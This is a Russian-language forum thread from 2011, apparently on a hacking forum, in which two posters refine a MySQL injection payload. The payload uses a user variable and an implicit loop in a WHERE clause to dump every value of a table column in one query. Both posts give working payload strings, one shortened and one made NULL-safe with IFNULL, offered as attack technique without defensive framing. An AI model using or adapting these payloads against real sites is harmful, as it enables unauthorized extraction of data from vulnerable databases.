Старый 06.09.2011, 14:29   #11
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

В теме MySQL injection полный FAQ в пункте 4.3 Неявный цикл в условии (?), Dr.Z3r0 предложил упростить запрос до вида
Код:
SELECT CONCAT(MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C))),0), @p)
что дает выигрыш в скорости и длине запроса.
Я немного его доработал наждачкой и теперь в конце запроса не выводится последняя запятая (что уменьшает размер выводимых данных, хоть и на 1 символ, но все же) и, что более полезно, он стал короче еще на один CONCAT.
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE_NAME} WHERE @p:=CONCAT(@p,0x2C,{COLUMN_NAME})),@p),5)
profexer вне форума   Ответить с цитированием
Старый 07.09.2011, 10:28   #12
zuzzz
 
Регистрация: 24.02.2011
Сообщений: 75
Репутация: 7
По умолчанию

Цитата:
Сообщение от profexer Посмотреть сообщение
...
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE_NAME} WHERE @p:=CONCAT(@p,0x2C,{COLUMN_NAME})),@p),5)
Если в таблице попадается хоть одно null значение то запрос возвращает null, но это элементарно лечится функцией ifnull

Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE_NAME} WHERE @p:=CONCAT(@p,0x2C,ifnull({COLUMN_NAME},0x20))),@p),5)
zuzzz вне форума   Ответить с цитированием
Ответ

Метки
mysql inj, sql injection

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot